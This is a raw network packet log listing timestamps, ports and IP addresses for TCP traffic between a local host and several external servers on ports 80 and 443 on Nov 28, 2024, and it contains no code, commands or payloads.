Nov 28, 2024 06:48:32.067502975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.067559958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.068269014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.068331003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.068363905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.068454981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.069128036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.069188118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.069224119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.069288015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.069960117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.070029020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.070064068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.070172071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.070780039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.070913076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.070936918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.070955038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.071661949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.071741104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.071805000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.072496891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.072604895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.072665930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.073373079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.073431969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.073452950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.073510885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.074227095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.074280024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.074315071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.074363947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.075043917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.075107098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.075189114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.075331926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.075895071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.075978041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.076041937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.076762915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.076869965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.076946020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.077584982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.077699900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.077745914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.078768015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.078850031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.078860998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.078972101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.079297066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.079355001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.079389095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.079433918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.080159903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.080212116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.080276012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.080322981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.080990076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.081046104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.081094980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.081140041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.081801891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.081933022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.116206884 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.116269112 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.116472006 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.116609097 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.116626024 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.116636992 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.116643906 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.120345116 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.120393991 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.120481014 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.121717930 CET	49813	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.121736050 CET	443	49813	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.121958017 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.122030973 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.122951031 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.122971058 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.122982025 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.122989893 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.122994900 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.125232935 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.125260115 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.125380039 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.125509024 CET	49814	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.125519037 CET	443	49814	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.127892971 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.127962112 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.128043890 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.128170967 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.128181934 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.128190994 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.128196001 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.130475044 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.130501032 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.130565882 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.130724907 CET	49815	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.130736113 CET	443	49815	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.141993999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.142065048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.142076015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.142330885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.142437935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.142498970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.142543077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.143270969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.143330097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.143372059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.143420935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.144135952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.144184113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.144272089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.144334078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.144994020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.145055056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.145067930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.145090103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.145843983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.145905972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.145930052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.146084070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.146673918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.146732092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.146795034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.146888018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.147500992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.147562981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.147603035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.147862911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.148403883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.148468018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.148519039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.149257898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.149375916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.149393082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.149416924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.150126934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.150185108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.150252104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.150355101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.150924921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.150985956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.151015997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.151078939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.151782036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.151860952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.151876926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.151926041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.152637005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.152699947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.152734041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.152957916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.153487921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.153553009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.153621912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.154333115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.154391050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.154411077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.154488087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.155208111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.155217886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.155260086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.155272961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.160533905 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.160550117 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.160576105 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.160589933 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.160604954 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.160617113 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.160665035 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.160665035 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.206897974 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.206908941 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.206923962 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.206931114 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.206959009 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.206968069 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.206979036 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.207036972 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.223071098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.223139048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.223195076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.223242998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.223500013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.223548889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.223597050 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.223614931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.223649979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.224353075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.224373102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.224405050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.224426985 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.224430084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.224441051 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.224922895 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.224927902 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.225192070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.225244045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.255455971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.255567074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.255589962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.255681992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.255702019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.255749941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.255755901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.256016016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.256551981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.256589890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.256603003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.256794930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.257407904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.257448912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.257512093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.257678032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.258332014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.258347034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.258429050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.259202003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.259310961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.259324074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.259957075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.260019064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.260081053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.260121107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.260797024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.260860920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.260915041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.260965109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.261660099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.261712074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.261771917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.261979103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.262470007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.262532949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.316575050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.355938911 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.355947971 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.355978966 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.355986118 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.356064081 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.356064081 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.356070995 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.356113911 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.385448933 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.385457039 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.385487080 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.385582924 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.385582924 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.385590076 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.388216972 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.405874014 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.405891895 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.405970097 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.405973911 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.406183004 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.427222967 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.427237988 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.427330971 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.427335978 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.427514076 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.440265894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.471292019 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.471522093 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.471549034 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.471857071 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.473709106 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.473764896 CET	443	49810	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:32.524594069 CET	49810	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:32.553642035 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.553661108 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.553853035 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.553864002 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.554066896 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.570503950 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.570542097 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.570585012 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.570593119 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.570616007 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.570688009 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.586796045 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.586812973 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.586899042 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.586905003 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.586970091 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.600836992 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.600855112 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.600970030 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.600975037 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.601057053 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.618311882 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.618329048 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.618432999 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.618459940 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.618552923 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.632364988 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.632388115 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.632468939 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.632486105 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.632574081 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.648669004 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.648689985 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.648753881 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.648766041 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.648979902 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.668909073 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.668992043 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.669246912 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.669246912 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.669272900 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.669286013 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.672161102 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.672194958 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.672333956 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.672549963 CET	49817	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.672564983 CET	443	49817	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.766045094 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.766064882 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.766134977 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.766145945 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.766311884 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.766717911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.766733885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.766796112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.766984940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.767029047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.767077923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.767375946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.767858028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.767874956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.767904997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.767920017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.768685102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.768737078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.768798113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.768958092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.769634962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.769651890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.769700050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.770518064 CET	80	49750	185.215.113.206	192.168.2.5
